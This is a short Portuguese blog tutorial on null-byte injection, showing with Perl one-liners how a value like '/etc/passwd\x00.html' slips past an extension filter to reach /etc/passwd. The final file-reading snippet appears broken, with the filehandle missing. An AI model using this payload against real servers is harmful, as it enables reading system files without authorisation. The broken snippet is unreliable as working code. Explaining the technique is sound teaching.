sexta-feira, 20 de abril de 2012

Entendendo o byte NULL para burlar filtros WEB

O dia de trabalho esta quase acabando e gostaria de escrever algo que fosse interessante e rápido. Estava revendo alguns papers que tenho e me deparei com um artigo que falava sobre o ataque chamado de Null-byte. Não vou aprofundar neste assunto apenas uma explicação clara e direta.

Em muitos ataques em que a URL é manipulada de forma a extrair informações de um servidor vemos o uso do Null-byte (um Zero que pode ser codificado como "% 00") no final da URL. Esta técnica é usada para burlar possíveis filtros de conteúdo web.

A maioria das linguagens de programação usa o NULL para representar nada ou um valor vazio, veja abaixo como a linguagem Perl não retorna nada utilizando o byte Null:

$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70"'
osvaldohp

Veja que o valor em hexa (\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70) tem como valor a palavra osvaldohp, vamos adicionar o byte NULL em hexa (\x00) para ver se ocorre algum erro:

$perl -e 'print "\x6f\x73\x76\x61\x6c\x64\x6f\x68\x70\x00"'
osvaldohp

Pronto, o resultado é o mesmo. Vimos que a linguagem Perl aceita o uso de byte Null. 

Um desenvolvedor WEB poderá criar um filtro bloqueando a execução de qualquer arquivo que não termine com ".html". No comando abaixo estaremos simulando a seguinte URL http://site_vulneravel/page.cgi?s=/etc/passwd:

$perl -e '$s = "/etc/passwd"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Negar

Veja que a resposta foi Negar, isso ocorre porque o arquivo requisitado (/etc/passwd) não termina com .html como diz nosso filtro ($s =~ m/\.html$/). Vamos tentar enganar o filtro:

$perl -e '$s = "/etc/passwd\x00.html"; if ($s =~ m/\.html$/) { print "Passa" } else { print "Negar" }'
Passa

Pronto, enganamos o filtro e obtivemos o Passa.

Segunda maneira de testar:

$perl -e '$s = "/etc/passwd\x00.html"; print $s; open(FH,"<$s"); while() { print }'

Com o comando acima podemos ler o arquivo (/etc/passwd) mesmo que no comando o nome de arquivo seja /etc/passwd\x00.html, que é um aquivo que não existe no sistema, mas neste caso veja que usamos o byte Null.

Bom Proveito.

Um comentário: